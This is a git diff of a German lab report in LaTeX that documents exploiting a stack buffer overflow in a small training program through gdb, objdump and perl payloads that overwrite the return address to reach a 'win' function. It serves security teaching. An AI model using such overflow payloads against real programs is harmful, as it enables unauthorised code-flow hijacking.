diff --git a/Lab02/documentation/bufferOverflow/bufferOverflow.tex b/Lab02/documentation/bufferOverflow/bufferOverflow.tex index 00be340..9985c97 100644 --- a/Lab02/documentation/bufferOverflow/bufferOverflow.tex +++ b/Lab02/documentation/bufferOverflow/bufferOverflow.tex @@ -43,73 +43,154 @@ Die anschließende Funktion gibt eine 0 zurück wenn man gewonnen hat. -Aber in der Funktion wird ein Buffer Overflow stattfinden, da \verb|argv[1]| mit \verb|strcpy()| ohne Begrenzung in ein limitiertes 16 Byte großes char array kopiert wird. Dabei werden im Stack Werte überschrieben. - -\subsection{Debugging} - -Zum debuggen wird der Befehl \verb|gdb bufferOverflow| eingegeben. Damit wird der GDB Debugger geöffnet. Zum setzen des ersten Breakpoints bei \verb|main| geben wir \verb|b main| ein. Zum setzen eines Argumentes muss \verb|set args | eingegeben werden. Danach können wir mit \verb|run| das Programm starten und uns mit \verb|s| mit einzelnen Schritten bewegen. Jederzeit können Variablen mit z.B. \verb|p number1| abgefragt werden. Der Anfang des Stacks kann somit mit \verb|p $sp| und 40 Byte des Stacks mit \verb|x/20x $sp| in HEX oder mit \verb|x/20 $sp| in DEC abgefragt werden. Die Eingabe \verb|i r esp abp eip| gibt die wichtigen Pointer aus. - -Wenn man den Breakpoint auf \verb|calculate()| setzt, einen schritt über \verb|strcpy(name,text)| macht, bekommt man einen Segmentation fault. +Aber in der Funktion wird ein Buffer Overflow stattfinden, da \verb|argv[1]| mit \verb|strcpy()| ohne Begrenzung in ein limitiertes 16 Byte großes char array kopiert wird. Dabei werden im Stack Werte überschrieben. Da können wir angreifen. \subsection{Versuchen zu gewinnen} Hinweis: \verb|"A" ASCII| wird als \verb|0x41| geschrieben. -Hinweis: \verb|"B" ASCII| wird als \verb|0x42| geschrieben. +Das kompilierte Programm mit \verb|gdb bufferOverflow| starten. Einen Breakpoint in der Calculate-Funktion bei Zeile 24 mit \verb|b 24| setzen. Dann mit + +\verb|r $(perl -e 'print "A"*20;')| + +20x das ASCII Zeichen ``A'' als Argument mitgeben. + +Getätigte Eingaben im Programm: + +\verb|Username: Florian, Input1: 1, Input2: 1, Input3: 1| + +\begin{figure}[H] + \begin{center} + \begin{subfigure}[b]{0.48\textwidth} + \includegraphics[width=\textwidth]{bufferOverflow/01-input} + \caption{Erste Eingabe} + \label{fig:Erste Eingabe} + \end{subfigure} + \begin{subfigure}[b]{0.48\textwidth} + \includegraphics[width=\textwidth]{bufferOverflow/02-breakpoint} + \caption{Breakpoint} + \label{fig:Breakpoint} + \end{subfigure} + \end{center} + \caption{Erste Eingaben und Breakpoint} + \label{fig:Erste Eingaben und Breakpoint} +\end{figure} + +Die analyse des Stackpointers sieht folgendermaßen aus: + +\begin{figure}[H] + \begin{center} + \includegraphics[width=0.8\textwidth]{bufferOverflow/03-stackpointer} + \caption{Erster Stackpointer} + \label{fig:Erster Stackpointer} + \end{center} +\end{figure} + +Wie zu sehen ist, wurden die wichtigen Pointer noch nicht erreicht. Es ist aber zu erkennen, dass die geratenen 20xA direkt davor ankommen. Somit könnte man mit 28xA und der Adresse der Win-Funktion, den Ablauf der Funktion ändern. + +Speicheraddresse der Win-Funktion mit \verb"objdump -d ./bufferOverflow | grep win" herausfinden. Grep gibt 2 Zeilen aus. Einmal die Funktion selber und die Position in \verb|main()| in der Sie aufgerufen wird. \begin{verbatim} -Username: Florian -Input1: 1 -Input2: 1 -Input3: 1 +080485a4 + 8048807: call 80485a4 \end{verbatim} -Speicheraddresse der Zeile 60 herausfinden, in der die Win-Funktion aufgerufen wird: +Es wird in der \verb|gdb bufferOverflow| Kommandozeile folgender Befehl ausführt: -\begin{verbatim} -objdump -d ./bufferOverflow | grep win -0x08048807: 80485a4 -\end{verbatim} +\verb|r $(perl -e 'print "A"*28+"\x07\x88\x04\x08";')| -Dann GDB \verb|gdb bufferOverflow| mit folgenden Befehl ausführen +Damit werden 28x'A' und die Adresse der Win-Funktion als argument der Software mitgegeben. -\verb|r $(python -c " print('A'*28+'\x07\x88\x04\x08')")| +\begin{figure}[H] + \begin{center} + \begin{subfigure}[b]{0.48\textwidth} + \includegraphics[width=\textwidth]{bufferOverflow/04-newrun} + \caption{Zweite Eingabe} + \label{fig:Zweite Eingabe} + \end{subfigure} + \begin{subfigure}[b]{0.48\textwidth} + \includegraphics[width=\textwidth]{bufferOverflow/05-stackpointer} + \caption{Zweiter Stackpointer} + \label{fig:Zweiter Stackpointer} + \end{subfigure} + \end{center} + \caption{Zweite Eingaben und Stackpointer} + \label{fig:Zweite Eingaben und Stackpointer} +\end{figure} -damit 28x'A' und die Adresse der Win-Funktion als argument der Software mitgegeben wird. +Die erneute Ausgabe der wichtigen Adressen zeigt uns nun, dass der EIP mit \verb|\x41\x41\x41\x41| überschrieben wurde (Abbildung \ref{fig:Zweiter Stackpointer}) und deshalt korrekt gesetzt werden sollte. Das weitere Ausführen, endet nach einer erfolgreichen Runde in einem segmentation fault (Abbildung \ref{fig:Segmentation Fault}). -\begin{tabular}{|l|l||r|r|} +\begin{figure}[H] + \begin{center} + \includegraphics[width=0.8\textwidth]{bufferOverflow/06-segmentation} + \caption{Segmentation Fault} + \label{fig:Segmentation Fault} + \end{center} +\end{figure} + +Dazu kann einfach die normal gesetzte Speicheradresse genutzt werden. Es sollte die vorher gesetzte Adresse wieder genutzt werden. Diese lautete wie in Abbildung \ref{fig:Erster Stackpointer} zu sehen \verb|0xbffff2f8| welches in \verb|\xe8\xf2\xff\xbf| umgewandelt wird. + +\newpage + +Damit wird das Programm noch einmal gestartet: + +\verb|r $(perl -e 'print "A"*24+"\xe8\xf2\xff\xbf\x07\x88\x04\x08";')| + +Und es wird 5 mal in Folge gewonnen: + +\begin{figure}[H] + \begin{center} + \begin{subfigure}[b]{0.48\textwidth} + \includegraphics[width=\textwidth]{bufferOverflow/07-win-1} + \caption{Gewinn-1} + \label{fig:Gewinn-1} + \end{subfigure} + \begin{subfigure}[b]{0.48\textwidth} + \includegraphics[width=\textwidth]{bufferOverflow/08-win-2} + \caption{Gewinn-2} + \label{fig:Gewinn-2} + \end{subfigure} + \end{center} + \caption{Gewinn} + \label{fig:Gewinn} +\end{figure} + +\subsection{Stack} + +\textcolor{codegray}{Startaddresse lokale Variablen} \textcolor{codegreen}{Eingefügte ``A''} \textcolor{codepurple}{Alte EBP Adresse} \textcolor{weborange}{Win-Funktion} + +\begin{center} +\begin{tabular}{|l|l||r|} \hline - \multicolumn{2}{|c||}{\textbf{Basic Information}} & \multicolumn{2}{c|}{\textbf{Values at Line}} \\ - Memory Address & Variable Name & 21 - calculate() & 24 - strcpy() \\ + \multicolumn{2}{|c||}{\textbf{Basic Information}} & \multicolumn{1}{c|}{\textbf{Value}} \\ \hline - \verb|0xbffff304| & number3 & \verb|0x00000003| & \verb|0x00000003| \\ - \verb|0xbffff300| & number2 & \verb|0x00000003| & \verb|0x00000003| \\ - \verb|0xbffff2fc| & number1 & \verb|0x00000001| & \verb|0x00000001| \\ - \verb|0xbffff2f0| & Input3 & \verb|0x00000001| & \verb|0x00000001| \\ - \verb|0xbffff2ec| & input2 & \verb|0x00000001| & \verb|0x00000001| \\ - \verb|0xbffff2e8| & input1 & \verb|0x00000001| & \verb|0x00000001| \\ + Memory Address & Variable Name & at Line 24 \\ \hline - \verb|0xbffff2e4| & & \verb|0xb7e54196| & \\ - \verb|0xbffff2e0| & & \verb|0xffffffff| & \\ - \verb|0xbffff2dc| & & \verb|0x08048871| & \\ - \verb|0xbffff2d8| & & \verb|0x08049ff4| & \\ - \verb|0xbffff2d4| & & \verb|0x00000016| & \\ - \verb|0xbffff2d0| & & \verb|0xb7fc73e4| & \\ - \verb|0xbffff2cc| & & \verb|0x08048425| & \\ - \verb|0xbffff2c8| & & \verb|0x00000004| & \\ - \verb|0xbffff2c4| & EBP & \verb|0xbffff2e8| & \\ - \verb|0xbffff2c0| & ESP & \verb|0x08048a04| & \\ + \verb|0xbffff270| & ESP & \color{codegray}\verb|0xbffff280| \\ \hline - \verb|0xbffff| & name & & 0x41414141 \\ - \verb|0xbffff| & name & & 0x41414141 \\ - \verb|0xbffff| & name & & 0x41414141 \\ - \verb|0xbffff| & name & & 0x41414141 \\ + \multicolumn{3}{|c|}{...} \\ \hline - \verb|0xbffff| & \multicolumn{3}{c|}{\textit{}} \\ - \verb|0xbffff| & & \\ - \verb|0xbffff| & Return & 0xbffff537 & \\ + \color{codegray}\verb|0xbffff280| & name & \color{codegreen}\verb|0x41414141| \\ + \verb|0xbffff284| & name & \color{codegreen}\verb|0x41414141| \\ + \verb|0xbffff288| & name & \color{codegreen}\verb|0x41414141| \\ + \verb|0xbffff28c| & name & \color{codegreen}\verb|0x41414141| \\ + \verb|0xbffff290| & & \color{codegreen}\verb|0x41414141| \\ + \verb|0xbffff294| & & \color{codegreen}\verb|0x41414141| \\ + \verb|0xbffff298| & EBP & \color{codepurple}\verb|0xbffff2e8| \\ + \verb|0xbffff29c| & EIP & \color{weborange}\verb|0x08048807| \\ \hline - \verb|0xbffff| & ESP & 0xbffff290 &\\ + \verb|0xbffff2a4| & input1 & \verb|0x00000001| \\ + \verb|0xbffff2a8| & input2 & \verb|0x00000001| \\ + \verb|0xbffff2ac| & Input3 & \verb|0x00000001| \\ + \verb|0xbffff2d0| & number1 & \verb|0x00000001| \\ + \verb|0xbffff3d4| & number2 & \verb|0x00000003| \\ + \verb|0xbffff3d8| & number3 & \verb|0x00000003| \\ + \hline + \multicolumn{3}{|c|}{...} \\ + \hline + \color{codepurple}\verb|0xbffff2e8| & old EBP & \\ + \verb|0xbffff2ec| & old EIP & \\ \hline \end{tabular} +\end{center} diff --git a/Lab02/documentation/images/bufferOverflow/01-input.png b/Lab02/documentation/images/bufferOverflow/01-input.png new file mode 100755 index 0000000..3f3ad05 Binary files /dev/null and b/Lab02/documentation/images/bufferOverflow/01-input.png differ diff --git a/Lab02/documentation/images/bufferOverflow/02-breakpoint.png b/Lab02/documentation/images/bufferOverflow/02-breakpoint.png new file mode 100755 index 0000000..9425979 Binary files /dev/null and b/Lab02/documentation/images/bufferOverflow/02-breakpoint.png differ diff --git a/Lab02/documentation/images/bufferOverflow/03-stackpointer.png b/Lab02/documentation/images/bufferOverflow/03-stackpointer.png new file mode 100755 index 0000000..ba768f4 Binary files /dev/null and b/Lab02/documentation/images/bufferOverflow/03-stackpointer.png differ diff --git a/Lab02/documentation/images/bufferOverflow/04-newrun.png b/Lab02/documentation/images/bufferOverflow/04-newrun.png new file mode 100755 index 0000000..733d01b Binary files /dev/null and b/Lab02/documentation/images/bufferOverflow/04-newrun.png differ diff --git a/Lab02/documentation/images/bufferOverflow/05-stackpointer.png b/Lab02/documentation/images/bufferOverflow/05-stackpointer.png new file mode 100755 index 0000000..bb73f8a Binary files /dev/null and b/Lab02/documentation/images/bufferOverflow/05-stackpointer.png differ diff --git a/Lab02/documentation/images/bufferOverflow/06-segmentation.png b/Lab02/documentation/images/bufferOverflow/06-segmentation.png new file mode 100755 index 0000000..0f28923 Binary files /dev/null and b/Lab02/documentation/images/bufferOverflow/06-segmentation.png differ diff --git a/Lab02/documentation/images/bufferOverflow/07-win-1.png b/Lab02/documentation/images/bufferOverflow/07-win-1.png new file mode 100755 index 0000000..9eb4189 Binary files /dev/null and b/Lab02/documentation/images/bufferOverflow/07-win-1.png differ diff --git a/Lab02/documentation/images/bufferOverflow/08-win-2.png b/Lab02/documentation/images/bufferOverflow/08-win-2.png new file mode 100755 index 0000000..536124d Binary files /dev/null and b/Lab02/documentation/images/bufferOverflow/08-win-2.png differ